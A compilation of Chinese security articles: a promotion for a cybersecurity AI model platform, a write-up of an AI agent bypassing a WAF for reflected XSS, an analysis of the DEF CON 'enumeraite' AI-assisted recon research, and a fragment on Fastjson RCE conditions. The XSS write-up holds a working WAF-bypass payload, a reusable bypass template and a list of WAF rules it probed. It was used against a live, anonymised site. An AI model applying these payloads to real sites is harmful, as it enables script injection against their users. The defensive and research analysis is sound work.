亲测一个网站花费3.82积分，每天赠送50积分，对我来说每天至少可以免费测试10个网站，测一个站平均耗时30分钟。

https://nccsec.cn/llm

为进一步赋能广大网络安全从业者，降低AI安全工具使用门槛，提升漏洞挖掘、代码审计及攻防研究效率，NCC国家网络空间安全云社区接入网络安全领域专有大模型—Cyber-Model-1，平台AI模型算力服务功能板块正式开启试运营！

与此同时，NCC已开启多模型扩容计划，后续将持续接入多款优质大模型，实现多模型互补、多场景适配，聚力打造中国的Mythos，构筑国产网络安全领域AI新生态，为平台白帽用户提供更全面、更专业的AI算力支撑。

本次入驻的Cyber-Model-1是基于国内一线模型微调的网络安全领域专属AI模型，拥有百万级超长上下文窗口、强悍的代码推理与智能拆解能力。不同于通用AI工具，Cyber-Model-1模型深度适配安全赛道，聚焦网络安全实战场景，助力用户高效排查代码漏洞、快速编写攻防脚本、梳理安全知识库、拆解复杂攻防项目，大幅降低技术研发与漏洞挖掘成本，完美适配白帽人员日常学习、实战攻坚、技术研究全场景需求。

1. 点击nccsec.cn登录【NCC国家网络空间安全云社区】；

2. 完成账号实名认证，解锁AI模型使用权限；

3. 每日登录即可自动获取固定额度免费模型积分，兑换千万tokens；

4. 提交漏洞、发布文章赚取安全币，使用安全币兑换更多模型积分，及时补充算力。

阅读原文

跳转微信打开

以下文章来源于：白帽子罗棋琛

网络安全专家，聚焦网络安全前沿洞察与技术分享。

跳转微信打开

以下文章来源于：白帽子罗棋琛

网络安全专家，《白帽访谈录》策划人，专注链接网络安全从业者，聚焦网络安全前沿洞察与技术分享。

应用安全岗位正在消失，这个岗位不会有下一代——留下来的人，只有三条路可走。

跳转微信打开

以下文章来源于：白帽子罗棋琛

网络安全专家，《白帽访谈录》策划人，专注链接网络安全从业者，聚焦网络安全前沿洞察与技术分享。

AI 会淘汰不会构建 AI Agent 的人，因为行业已经进入标准化作业的阶段。

跳转微信打开

跳转微信打开

信安之路官网：www.xazlsec.com，服务包括：自学成长平台、体系化学安全知识库、SRC 资产监控、历史漏洞POC

在实战中测试发现一个疑似存在 XSS 漏洞的参数接口，可控参数位置如图：

双引号未转义和编码，当插入明显的弹窗 payload 时，发现被 WAF 拦截后，请求重置了，如图：

如果想利用该漏洞实现弹窗验证，该如何组合 payload？这是一个复杂的问题，在没有 AI 之前，需要超强的技术储备以及大量测试才可实现，既然有了 AI，那就让它来吧，工具使用 Trae IDE，配置好自己的 DeepSeek API key，然后安装好 Chrome DevTools MCP 服务，然后就可以开始测试了。最终组合出的 Payload：

word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D(1)%2F%2F

实战效果如图：

全部测试完成，只消耗了 3 毛钱，性价比超高：

对我而言，整个测试过程非常有价值，当然我认为对你来说也是很想知道它是如何一步一步测试的，于是我让他将整个测试过程进行了总结，形成文档供大家参考。XSS WAF 绕过分析与测试报告如下：

1. 目标概述

• 目标地址: http://xxxxx.jsp?word=asddsdd

• 漏洞参数: word

• 漏洞类型: Reflected XSS（参数内容回显在页面中）

• 测试目标: 找到能绕过 WAF 并执行弹窗（alert/confirm/prompt）的 payload

初始 Payload 素材

来自 xss 知识文件中的各类 href-based XSS payload，涵盖：

2. 注入点分析

2.1 参数回显位置

访问 http://xxxxxx?word=XXXXX 后，通过分析 HTML 源码，发现参数在 三个位置回显：

位置 1: 页面文本内容（div）

<divid="jiansuocelue">检索条件：XXXXX</div>

位置 2: JavaScript 字符串上下文（关键注入点）

$(function(){
varword="XXXXX";    // ← 这里是注入点
$("#ac_keybox_0").val(word);
})

位置 3: 搜索框 input 的 value 属性

<inputvalue="XXXXX">

2.2 注入点选择

位置 2（JavaScript 字符串上下文）是最有希望的注入点，因为突破字符串后可以直接执行任意 JavaScript 代码：

varword="";[CODE_HERE]//";

3. WAF 探测与规则分析

3.1 测试方法

通过逐次修改 word 参数值，观察服务器响应来判断 WAF 规则：

• 连接重置 (ERR_CONNECTION_RESET) → WAF 在网络层拦截（检测到 JS 执行相关模式）

• 返回"非法请求"页面 → WAF 在应用层拦截（检测到 HTML 标签等）

• 正常返回页面 → 通过检测

3.2 WAF 规则详细清单

规则组 A: HTML 标签（触发"非法请求"）

结论: 任何包含 < 的 HTML 标签都被应用层 WAF 拦截。

规则组 B: 危险函数名 + 括号/反引号（触发连接重置）

结论: WAF 维护了一个危险函数名黑名单（大小写不敏感），检测到这些函数名与 ( 或反引号 ` 组合时触发连接重置。

规则组 C: 全局对象 + 方括号 + 函数调用（触发连接重置）

结论: WAF 检测 this[ / self[ / window[ / top[ / parent[ 后跟 ]( 的模式。

规则组 D: constructor 原型链遍历（触发连接重置）

结论: constructor[ + ]( 或 constructor.constructor( 均被拦截。

规则组 E: function 关键字 + 立即执行（触发连接重置）

结论: function 关键字 + {}() 模式被拦截，但箭头函数 IIFE 可以绕过。

规则组 F: 编码绕过检测（全部失败）

结论: WAF 具备极强的解码能力，包括 URL 解码、Unicode 解码、Base64 解码、字符串重构等。    

4. 绕过尝试历程

阶段 1: 基础尝试（全部失败）

阶段 2: 确认基本注入能力

阶段 3: 解码绕过尝试

阶段 4: 原型链 & 函数构造绕过

阶段 5: 对象引用绕过

阶段 6: 函数名构造绕过

5. 成功 Payload

5.1 最终绕过 Payload

";var g=document.defaultView;g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)](1)//

5.2 完整 URL

http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D(1)%2F%2F

5.3 绕过原理拆解

";                              // 突破 JavaScript 字符串
varg=document.defaultView;   // 获取 window 对象（避开 window/self/this 关键字）
g[                              // 方括号属性访问
  (10).toString(36) +// 'a'
  (21).toString(36) +// 'l'
  (14).toString(36) +// 'e'
  (27).toString(36) +// 'r'
  (29).toString(36)             // 't'
]                               // → g['alert'] → window.alert
(1)                             // 调用 alert(1)
//                              // 注释掉后续代码

5.4 同款变体（反引号语法）

对应知识文件中 line 21 的 confirm\1`` 风格：

";var g=document.defaultView;g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)]`1`//

URL:

http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D%601%60%2F%2F

5.5 绕过技巧对应表

6. 成功验证

测试过程中浏览器 成功弹出了 alert: 1 对话框，并通过 handle_dialog 确认关闭：

Navigation timeout of 10000 ms exceeded.
### Open dialog
alert: 1.
Call handle_dialog to handle it before continuing.

7. 总结

无法绕过的方式

素材文件中的所有 <a href> 类 payload 均无法直接使用，因为：

1. 注入点不在 <a> 标签的 href 属性中，而在 <script> 字符串中

2. 即使尝试注入 <a> 标签，< 也会被 WAF 拦截返回"非法请求"

通用绕过思路

对于此类强 WAF，以下思路组合可以有效突破：

1. 避开黑名单函数名: 用 toString(36) 或类似动态字符串构造方法

2. 避开全局对象关键字: 用 document.defaultView / (function(){return this;})() 等间接引用

3. 避开编码检测: 不依赖 Base64/Unicode 转义，使用纯计算方式构造

4. 善用允许的函数调用模式: 普通变量 + 方括号 + 括号调用 x[key](args) 通常不被拦截

可用的通用模板

// 通用模板 - 替换 target_function_name 的 base36 对应数字
";var _g=document.defaultView;
_g[
// 在此用 toString(36) 构造函数名
  (N1).toString(36)+(N2).toString(36)+(N3).toString(36)+...
](参数)//

base36 字母对照表（快速查询）:

阅读原文

跳转微信打开

以下文章来源于：MessFreeSecurity

提供社区优质咨询服务

护网里最让人麻木的场景之一：目录扫描器跑了一整夜。

/admin、/manage、/system、/console、/api/v1/users……几十万条字典轮番上阵，回来一片 404。换份更大的字典再跑一遍；大小写、下划线、连字符、复数排列组合，再跑一遍。

最后结论：这个站没有后台。

但如果开发者真正写下的接口叫——

/api/Usr_crt

先插一句：原报告里存在拼写不一致，第 32、35、38 页截图用 User_*，第 34、37 页文字和作者研究网站用 Usr_*。本文讲语法时沿用作��网站的 Usr，解读截图时保留画面里的 User。

通用字典认识 user/create，但未必认识这套"实体缩写 + 下划线 + 动作三字母缩写"的内部方言。

更要命的是，同一套系统里删除接口可能不叫 Usr_del，也不叫 Usr_dlt，而叫：

/api/Usr_rmv

这就是 DEF CON 33 Recon Village 上那份 105 页报告《enumeraite: AI-Assisted Web Attack Surface Enumeration》想解决的问题。

它没让 AI 直接扫描，也没让模型自动找漏洞。研究者做的事更像是：把目标已经暴露出来的几个名字丢给模型，让它根据这些种子临时归纳命名规律，再给目标编一份专属字典。

不是每遇到一个目标就重新训练模型。前面 Apple LSTM、nanoGPT 属于目标专用训练实验；后面 0x0、0x1 两种模式则是在全局训练分布上，把目标种子放进 prompt 做条件化生成。

这思路听起来容易像 AI 营销话术。但这份材料最值得看的地方，恰恰是作者一上来就给自己踩了刹车：这不是"模型越大越牛"，不是 AI 自动渗透演示，也不只是再卖一款 Recon 工具。

这篇文章就按 105 页幻灯片的顺序拆。先说字典为什么失效，再看那个作者声称命中管理功能的接口案例，然后把 LSTM、nanoGPT、GPT-2、Qwen3-4B 四段实验讲明白，最后落到护网里真正能用的工作流和蓝队检测。

整份报告翻完，我最大的感受是：

AI 在这儿最合适的角色，不是扫描器，也不是漏洞验证器，而是"目标专属字典编译器"。

105 页到底讲了什么

这份 PPT 动画页很多，真正的主线可以合成六段：

这里有个容易搞混的概念：check 和 discover。

打个比方：你手里已经有 5,000 个子域名，然后去探测哪些能解析、哪些开了 HTTP——这是 check。

还有 2,000 个资产从来没进过清单，证书透明度、搜索引擎和通用字典都没收录——这才是 discover。

传统工具干前一件事很强；未知资产发现则受限于被动数据源、预设词表和变异规则的覆盖上限。

字典不是太小，而是听不懂目标的方言

通用字典的基本假设是：大家会反复用一批相似的词。

子域名常见 dev、test、stage、api、mail；路径常见 admin、login、user、upload、swagger。词表够大、排列组合够全，总能撞中一部分。

问题是，企业内部命名从来不只由英语单词组成。它还混着：团队缩写、历史项目代号、机房与城市代码、云区域和集群编号、开发者个人习惯、旧框架留下的大小写下划线和后缀、只有内部才知道的业务简称。

报告第 18 页用 Apple 风格的名字举例：iosdiags-dr-old.apple.com。iosdiags 还能看懂，后面的 dr-old、mdn、nwk——如果不结合目标自己的邻居样本，通用字典没理由把这些片段拼到一起。

模型第一次也会猜错

报告先把 iosdiags-mdn.apple.com 单独丢给模型。

没有上下文时，模型把 mdn 猜成 Mobile Device Network 或 Mobile Diagnostics Network，把 nwk 猜成 Network。听起来都挺专业，也可能都是一本正经地胡说。

然后作者补入了相邻样本：

• iosdiags-reno.apple.com

• iosdiags-mdn.apple.com

• iosdiags-nwk.apple.com

模型的解释方向就变了：reno 可能是 Reno，mdn 可能指 Maiden，nwk 可能指 Newark。三个后缀被重新理解成地点或机房代码。

这个例子最关键的不是"AI 认出了 Maiden"——幻灯片也没证明这些解释一定对。真正重要的是：一个孤立的字符串只能让模型编故事；一组来自同一目标的邻居样本，才可能让模型归纳出可验证的结构假设。

如果假设是"后缀代表地点"，下一步就可以生成 sjc、iad、dfw、ams、lhr、tyo 等候选，再丢给 DNS 和 HTTP 工具验证。候选不是资产，通过验证的才有资格进资产表。

路径比子域名还头疼

子域名主要面对标签、分隔符和层级。路径还叠加了技术栈、HTTP 方法、参数、扩展名和路由规则。

同一个"添加用户"功能，可能长这样：

POST /app/user_add.htm?company_id=3
POST /api/Usr_crt
PUT  /management/accounts/new
POST /console/member/save.do

这也是为什么把 100 万行字典喂给 ffuf 不等于理解目标。字典解决的是"有哪些常见词"，目标化枚举解决的是"这家开发团队会怎样把一个业务动作写进 URL"。

一个"GET 不受支持"，比十万个普通 404 更值钱

报告第 31 页开始讲作者称为真实经历的案例。

他在一次 Web 渗透测试里注册账号，观察到一个创建用户接口。PPT 截图显示 /api/User_crt，直接用 GET 访问时，服务端返回：请求的资源不支持 GET 方法。

这个差异很小，但很值钱。

报告里手工猜错的那些候选返回的是"找不到 URI 对应的资源"或"Controller 不存在"；User_crt 返回的是"资源存在，但 GET 不支持"。截图能直接证明的是响应正文不同；实际测试时还可以继续比状态码、长度和 Allow Header。这类差异会形成路由 Oracle，泄露后端路由到底存不存在。

作者去 SecLists 里搜相同模式，只找到 user_create、user_created 一类常见写法，没有目标用的精确缩写组合。

然后作者手工猜了一批：

Usr_dlt
Usr_lst
Usr_prm
Adm_crt
Adm_lst

全是一片"Controller 不存在"。

为什么？人脑通常会先写最自然的 delete、del、dlt；但按作者后续陈述，目标恰好用了 remove 的另一种三字母缩写 rmv。

作者把一个已知接口和自然语言目标"删除用户"交给 ChatGPT，让模型保持原来的大小写、下划线和缩写风格，生成新候选：

/api/Usr_del
/api/Usr_dlt
/api/Usr_rmv
/api/Usr_elm
/api/Usr_destroy
/api/Usr_remove
/api/Usr_rm
/api/Usr_excl
/api/Usr_abort

其中 rmv 对应的路由出现了与手工失败候选不同的响应。作者称后续用正确方法验证后发现了带访问控制缺陷的管理功能，拿了 4,000 美元以上赏金。

这里得把证据边界说清楚。第一，PPT 截图里的 User 和后续文字、作者网站里的 Usr 不完全一致，报告自身存在拼写差异。第二，"GET 不受支持"最多说明路由可能存在，不等于已证明越权——要确认 Broken Function Level Authorization，至少还需要低权凭据、正确 HTTP 方法、管理员对照请求和状态变化验证。第三，目标已匿名，赏金和漏洞细节目前主要来自演讲者本人，不能写成独立复核过的公开漏洞。

但即便把这些宣传成分全拿掉，这个案例依然能支撑一个很实用的判断：

模型没替作者发现漏洞。它只是把人脑有限的几个猜法，扩写成一组更贴近目标命名风格的候选。真正让候选浮出水面的，是响应差异。

AI 到底多做了哪一层

静态字典保存的是词。

模型试图学习的是词与词之间的关系：什么实体常和什么动作一起出现，版本号通常放哪，目标喜欢大小写还是全小写，环境和地域怎么排列，数字补不补零，动作更常用完整单词还是三字母缩写。

到第 94—95 页的 Agent 演示，作者把示例扩成 /api/v2/Usr_crt。拆开以后暴露了一套小型语法：

base_path    = /api/v2/
entity       = Usr
separator    = _
action       = crt
case_style   = 首字母大写
action_style = 三字母缩写

如果模型结合目标的其他路径推断出 crt → create，它就可以围绕同一语法尝试 lst、upd、del、dlt、rmv，而不是把 delete-user、users/remove、removeUser 等所有互联网常见写法平均扫一遍。

报告用 Transformer 的 self-attention 解释这种能力：模型不只看相邻 token，还能同时关注版本槽位、资源槽位、动作槽位和更远处的结构关系。

说直白点：AI 不是知道后台在哪。它只是比静态字典更会猜——"如果这个后台存在，开发者可能会怎么给它取名"。

这两句话差别很大。

从 LSTM 到 Qwen3-4B：为什么换了四代模型

报告第 49—72 页不是简单说"上大模型就行"，而是一段很典型的试错过程。

第一代：LSTM——能续写编号，听不懂语义

最初方案是 LSTM，逐个处理标签，根据前序序列预测下一个标签。

训练样本里有 student1.apple.com，它可能学会猜 student2.apple.com。但让它从 student 跳到语义相关、字符串不相似的 edu，就难得多。

真正暴露问题的是第 57 页。作者把最低词频设为 5，导致 stage 和随机字符串 asdasd 都掉进 unknown token。对模型来说这两个输入变成了同一个东西，于是输出几乎相同的 secure、www、secure2。

作者随后换了更适合连字符结构的 tokenizer，stage 不再和随机字符串一起坍缩成未知词，输出开始出现环境和地点相关候选。

有个细节值得留着：PPT 正文写最终 validation loss 约 1.59，同页训练日志显示的却接近 1.1596。不管哪个数字对，它只是 token 预测损失，不等于 DNS 命中率，更不等于发现漏洞的概率。

第二代：10.6M 参数 nanoGPT——小而快，但容易背题和残缺

作者用 nanoGPT 从头训了一个约 1,060 万参数的企业专用小模型。比 LSTM 更适合同时学服务、环境、地域和编号的组合，可以完全离线跑。但第 63 页的输出里仍然能看到重复、截断和残缺名称，训练损失与验证损失之间也有明显差距。

这类模型最适合固定企业、敏感数据不出网、命名规则稳定的场景。它的优势是成本和隐私，不是天然比通用大模型聪明。

第三代：GPT-2 微调——语义更强，但仍可能是背题

PPT 列了 GPT-2 small 约 1.17 亿参数、large 约 7.62 亿参数两档，展示了一次微调实验，但没注明截图实际用的哪一档。预训练让模型先学到通用字符串和语言结构，再用目标数据微调。

输出看起来更像真实企业子域，但报告没证明这些名字是训练集外的新资产，也没展示 DNS 解析率。模型可能是在泛化，也可能在记忆、重组公开数据。"生成得像"只能说明候选质量可能提高，不能证明发现率提高。

第四代：Qwen3-4B——在成本、上下文和本地部署之间折中

最终研究选了 Qwen3-4B。理由是现代 Transformer 架构、32K 上下文，以及性能、成本和部署之间相对均衡。

两个方向分别准备数据：子域模型覆盖 5,000 多个根域、2,200 万以上子域名；路径模型覆盖 63.2 万以上域名/子域名、2,800 万以上路径。

数字看着很大，但 PPT 没交代几个决定可信度的问题：数据从哪来、是否授权、是否去重、怎么排除 wildcard 和历史失效资产、训练集与测试集是否按根域隔离、输出是否只是训练数据复现。最关键的是，报告没给出与 SecLists、ffuf、Amass、Subfinder 等工具在相同请求预算下的正式对照，没有 precision、recall、真实命中率、误报率和成本曲线。

所以这项研究证明了"方法值得继续做"，还没证明"这套模型已全面超过传统字典"。

四种模式：从"扩写词表"走向"拆解目标语法"

第 73—99 页是整份材料最适合护网实战理解的部分。

0x0：从已知路径生成同站候选

输入是一组已在目标上观察到的路径，比如 /login、/cart、/checkout、/products/shoes。模型根据训练数据里的共现和结构，生成 /account、/orders、/wishlist 等更可能与它们同时存在的路径。

第 78 页的终端实际是内部生成 61 条原始序列，命令参数 -c 10，最终只展示 10 条。多条输出把 defcon33.com 塞进路径，或者重复域名片段——连"格式合理的路径候选"都未必算得上。这比"没命中证据"更能说明：生成数量不等于候选质量。

这一模式适合已经从 JS、Sitemap、OpenAPI 残片或代理历史中拿到一小批真实路径时用。弱点也明显：输入只有通用电商路径的话，模型大概率只会吐出另一批通用电商词。没有目标专属样本，就谈不上目标专属推断。

0x1：从已知子域生成相邻命名

输入是目标的一组已知子域名。原始 Qwen 可能给 admin、blog、mail、support；微调模型会更偏 dev-api、stage、staging.api 等研发环境组合。

这更像是"依据目标种子做条件化生成和候选排序"，不是为每个目标重新训练模型，更不是凭空发现子域。护网时间有限、目标有 DNS 限速或大规模爆破容易出噪声时，先取 Top-K 高相关候选做验证，可能比把整个互联网词表打一遍划算。

0x2：从一个子域名拆出产品、区域和集群槽位

这一段是整份报告里最骚的结构化思路。

输入只有一个真实风格的子域名：

activateiphone-use1-cx02.apple.com

Agent 1 不急着生成，先拆结构：

activate [PRODUCT] - use [REGION_ID] - cx [CLUSTER_ID]

Agent 2 再为每个槽位准备候选：产品可以是 mac、ipad、iphone、watch；区域和集群编号按同样格式变化；最后组合成结构一致的新名字。

这种方法特别适合多地域 SaaS、云集群、灾备、测试环境和带编号的历史资产——它不只是在替换单词，而是试图还原基础设施命名模板。

但 Apple 案例仍然只是结构演示。报告第 91 页生成了 200 个组合，没证明其中任何一个在 DNS 中真实存在。流程的最后一步必须回到传统工具：DNS 解析、HTTP 探测和启发式评分。

0x3：从一个 API 反推整套接口族

第四种模式回到同一命名思路，演示中加入版本前缀 /api/v2/Usr_crt。

系统先识别：/api/v2/ 是版本化前缀、Usr 可能是 User、crt 可能是 create、命名样式是 Entity_action、用户想找的是"删除用户"。

Agent 1 把这些推断整理成结构化数据，Agent 2 再生成 Usr_del、Usr_dlt、Adm_rmv、Mem_term 等不同实体和动作组合。

第 98 页设想的 Validator Agent，会尝试不同 HTTP 方法、采集响应与元数据、返回 confidence。

这里有个实战边界必须加粗：POST、PUT、DELETE 可能真实修改数据。 护网或渗透测试中，别因为 Agent 给了一个候选就自动轮询所有状态变更方法。优先用经授权的只读探测；即使是 GET、HEAD、OPTIONS 也不能假定绝对无副作用。涉及写入、删除、批量操作的，只能在明确授权、可回滚和隔离数据条件下验证。

第 99 页终端演示生成了 288 个 API 名称，没展示任何一个真实有效。截图里还出现 v156 到 v200 这类低先验版本号，以及大量实体、动作的机械组合——当前生成器会把"结构一致"误当成"业务上合理"。288 是原始候选数，其中相当一部分甚至不是高质量候选，更不是接口数或漏洞数。

我顺手翻了当前 PoC：离"自动发现"还差五个坑

幻灯片讲的是研究设想，GitHub 上公开的是 proof of concept。两码事。

截至本文整理时，仓库明确写着：这是研究型 PoC，结果可能不一致，生产测试要和传统方法结合；README 对自有本地模型的评价是 Poor / Demo testing only，默认反而推荐商业云模型。

为避免仓库后续更新导致结论漂移，代码核对时间固定为 2026 年 7 月 14 日，当时 main 提交为 9d8f70020b37994b2478e63fd6582f42c0d01068。

翻完代码，发现五个会直接影响结果的问题。

1. DNS 解析成功 ≠ 发现真实子域

dns_validator.py 主要通过系统解析器查 A/AAAA，能解析就把 exists 设为 true。代码没先用随机标签测试 wildcard DNS。如果目标把 *.example.com 全部解析到同一个 IP，AI 生成的每个胡乱候选都会被记成"存在"。

2. 收到 HTTP 响应 ≠ 页面有效

http_validator.py 只验证 DNS 命中子域的根页面，不验证模型生成的 API 或 path。它会分别尝试 HTTPS 与 HTTP，拿到响应就把 accessible 设为 true。404、403、500、统一默认页都可能进入"可访问"结果。默认 verify_ssl=False，同时跟随重定向——所以 accessible=True 既不能证明证书身份，也不能证明最终页面仍属原目标。真正的路径验证必须加入随机基线、正文哈希、长度、标题、重定向链和 soft 404 聚类。

3. 默认并发本身就可能制造护网噪声

核心类构造器默认 DNS 并发 50、HTTP 并发 20，但当前 CLI 实际覆盖为 DNS 20、HTTP 15；HTTP 还会分别尝试 HTTPS 与 HTTP。对公开大站不算夸张，对带速率限制、WAF、脆弱网关或演练白名单的环境，已经够触发封禁和告警了。"AI 生成更少候选"的价值，不能被不受控的并发重新抵消。

4. confidence_score 可能只是模型自嗨

路径分析提示词要求模型在 JSON 里返回 confidence_score，代码直接读取。这个数不是通过 DNS、HTTP 或标注测试算出来的校准概率。模型说自己有 0.92 的信心，不代表候选有 92% 概率存在。

5. 幻灯片里的响应反馈闭环，代码还没完整落地

第 98 页画的是方法探测、行为对比和异常评分；README 仍把 response-aware fuzzing 列在后续改进里。当前 generate path 没有 --validate 或 --check-http，公开的 HTTPValidator 只服务于 DNS 命中子域的根地址，没实现 GET、POST、PUT、DELETE 的完整方法循环、随机基线、异常评分与反馈闭环。

也就是说，目前最成熟的部分是"生成候选"，最关键的"根据真实响应持续修正候选"仍然需要测试人员自己补上。

这不是否定项目。恰恰相反，它说明这项研究最有价值的是方法论，不是下载个工具就自动出洞。

护网里怎么把它接进现有打点流程

更稳的落地方式，不是让 Agent 拿着目标域名自由发挥，而是把它夹在"种子收集"和"低噪声验证"之间。

第一步：只收授权范围内的真实种子

来源包括证书透明度、被动 DNS、搜索引擎、公开文档、JS 路由、Sitemap、OpenAPI/Swagger 残片、代理历史和已有资产台账。先去重、确认归属和授权范围——第三方 SaaS、供应商域名和同名品牌资产别因为模型觉得相似就自动纳进来。

第二步：给目标建"命名画像"

别一上来就让模型吐一万个名字。先让它输出可审计的结构：

画像能被人复核，后续候选才知道是怎么来的。

第三步：规则生成和模型生成一起跑

确定性强的交给规则：数字范围、大小写、固定分隔符、已知地域表。需要语义的交给模型：crt 对应的同族动作、内部项目简称、产品和业务实体的邻近关系。

每个候选同时保留理由，比如"同一目标出现过 use1 和 use2""由 Usr_crt 推断 Usr_rmv""来自通用词，不含目标证据"。这样后续可以按证据强弱排序，而不是把所有输出摊平成一份新的大字典。

第四步：先排除假阳性，再谈命中

子域验证至少做：随机不存在标签识别 wildcard DNS、A/AAAA/CNAME 和证书/SNI 对照、HTTP 标题/正文哈希/重定向/默认页聚类、确认 CNAME 指向的第三方服务是否仍在授权范围。

路径验证至少做：随机路径作为 soft 404 基线、状态码/响应长度/正文相似度/框架错误类型对比、405 和 Allow Header 与普通 404 的差异、登录跳转/统一网关页/WAF 拦截页单独聚类、默认先用无副作用方法。

第五步：把真实反馈喂回去，而不是让模型继续脑补

Usr_rmv 与随机路径响应相同 → 降权；返回 405 而随机路径返回 Controller Not Found → 升权；同一词根下多个候选都命中同一套框架错误 → 围绕这个词根扩写下一轮。

完整闭环应该是：

真实种子
  → 命名画像
  → 规则 + AI 生成少量候选
  → DNS / HTTP / 响应差异验证
  → 有效模式回灌
  → 下一轮更窄的候选

真正提高效率的是搜索空间不断收敛，而不是让 AI 无限发散。

蓝队真正要防的，不是"AI 扫描器"四个字

如果一个测试环境只靠名字难猜来隐藏，AI 只是让这种脆弱设计更快暴露。

1. 隐藏后台必须按已暴露资产防护

dev-admin-use1-cx02 再怪，也不能代替身份认证、网络隔离和逐接口授权。管理面、预发、测试、CI/CD、监控和运维接口应进入统一资产台账，放在 VPN、身份代理、独立管理网络或明确访问控制后面。

2. 别让错误页变成路由字典

不存在的路由返回一套正文，存在但方法不对返回另一套详细框架异常——攻击者就能在没权限的情况下判断 Controller 是否存在。外部响应尽量收敛，详细异常留在内部日志；同时保留足够的请求 ID，避免统一错误页以后反而没法排障。

3. 鉴权必须落到每个方法和每个功能

API 网关只验证"已登录"不够。创建、删除、批量导出、管理员查询等动作要做功能级授权，GET、POST、PUT、DELETE 不能因为共用一条路由就共用一套宽松权限。

4. 检测低频、同词根、结构化探测

传统阈值常盯"一个 IP 每分钟打几千次"。目标化候选可能只有几十次，而且故意拉开时间。更有价值的关联特征是：同一客户端围绕 Usr_、Adm_、Acct_ 轮换动作缩写；对同一 URI 依次尝试 HEAD、OPTIONS、GET 等方法；子域只替换 region、environment、cluster 数字段；NXDOMAIN 序列呈现明显的结构化组合；低频请求持续命中同一组 404/405 差异。

5. 蓝队也可以先用同一思路打自己

把公开子域、JS 路由和 API 样本交给内部模型，看它能不能推导出未登记的 dev、stage、admin 和历史版本，再由资产团队验证。AI 辅助枚举对防守方同样适用——在攻击者之前找出那些"名字很怪、但公网确实能访问"的影子资产。

几个容易被夸大的说法

聊到这儿顺便说清楚：

第一，不是"AI 找到了后台"。AI 生成了候选，DNS、HTTP 和权限验证才决定候选是不是资产、接口或漏洞。

第二，不是"通用字典已死"。静态字典便宜、稳定、可复现，仍然适合覆盖高频路径；AI 更适合作为目标化增量层。

第三，Apple 示例里的地点、产品、区域和集群含义大多是模型推断，报告没证明这些解释来自 Apple 官方命名规则。

第四，生成 61 条原始序列、200 个子域组合或 288 个 API 候选，不等于发现相同数量的真实资产——原始序列甚至未必都能通过格式过滤。

第五，2,200 万子域和 2,800 万路径不等于同等数量的唯一、存活、干净训练样本。没来源、去重和测试集隔离信息，就没法判断数据泄漏与记忆程度。

第六，报告没有正式基准证明 Qwen3-4B 在相同请求预算下普遍优于 SecLists、Amass、Subfinder 或 ffuf。

第七，本地 Enumeraite 模型目前仍是实验品，官方仓库自己定位为 Demo/testing only，输出不稳定。

第八，把目标完整资产、内部 URL、客户名和业务接口发给外部商业模型，可能造成数据合规和项目保密风险。敏感目标用脱敏样本或本地模型。

第九，HTTP 200 不等于命中，DNS 可解析也不等于归属。wildcard、CDN 默认页、soft 404 和第三方 CNAME 都会制造假阳性。

第十，自动尝试 PUT、POST、DELETE 可能改生产数据。授权测试也必须限定方法、速率、时间窗和回滚方案。

把这些限制写清楚以后，再回头看这项研究，最值得带进护网的仍然不是某个模型的名字，而是一种新的枚举顺序：

以前是先准备一份全世界通用的字典，再拿目标去碰字典。现在是先观察目标，让目标自己泄露它的"语言"，再生成一小批只属于它的候选。

目录扫描器没有错。

它只是不会问：为什么这个系统把 User 写成 Usr，把 create 写成 crt，把 remove 写成 rmv；为什么 use1 后面总跟着补零的 cx02；为什么登录系统叫 login-dev 而静态站叫 about。

这些问题以前靠经验丰富的渗透测试人员盯着资产表手工找规律。现在模型可以把这部分观察力放大。

但最后那一步仍然不能交给幻觉：域名要解析，页面要去重，接口要比响应，权限要做对照，状态变更要可回滚。

所以下一次目录字典全是 404，别急着下结论说"后台不存在"。

后台可能不在字典里。

它只藏在目标自己的命名习惯里。

而 AI 最先学会的，可能不是怎么攻击它——而是怎么把这个名字猜出来。

资料来源

• DEF CON 33 原始 Google Slides

• DEF CON 33 原始 PDF 导出（105 页）

• Recon Village 议题页：enumeraite

• DEF CON Conference 官方演讲视频

• enumeraite 研究网站

• enumeraite 官方 GitHub 仓库

• enumeraite Hugging Face 模型与数据集

• 固定版本：CLI Commands

• 固定版本：DNS Validator

• 固定版本：HTTP Validator

• 固定版本：Path Function Analysis

• 相关背景论文：Offensive AI: Enhancing Directory Brute-forcing Attack with the Use of Language Models

本文只讨论授权安全测试、攻击面治理与检测方法。文中的域名和接口均来自公开研究材料或抽象示例，不代表对相关企业当前资产状态的确认。

🔚 觉得有用就转给今年负责资产梳理、外网打点、API 安全和护网值守的同事。字典没命中，不代表资产不存在——有时候只是你的字典还不会说目标的方言。

阅读原文

跳转微信打开

以下文章来源于：MessFreeSecurity

提供社区优质咨询服务

核心判断：公开样本具有可检索的结构特征，但单条命中只适合作为调查线索。请求侧检索要把入站特征、出站连接和 Java 主机行为串起来，SafeMode 与出站控制继续作为 P0。

信息截点：2026 年 7 月 21 日 07:20（北京时间）这次把作者回复、腾讯云通告、长亭与微步复现、GitHub 公开仓以及本地对照放在一起看。信息比前一天多了，但完整利用的环境限制也更清楚了。

先说结论：这件事值得尽快排查，但目前公开的完整 RCE 并不是“只要用了 Fastjson 1.2.83，就能在任意 Java 环境下一次请求直接拿下”。

现阶段证据最充分的远程利用组合，集中在 Fastjson 1.x、SafeMode 未开启、JDK 8、经典 Spring Boot 可执行 FatJar Loader、不可信 JSON 解析入口，以及目标能够访问攻击者可控 HTTP 资源。少一个条件，结果就可能从完整代码执行退化为出站请求、解析异常，或者完全走不到远程加载。

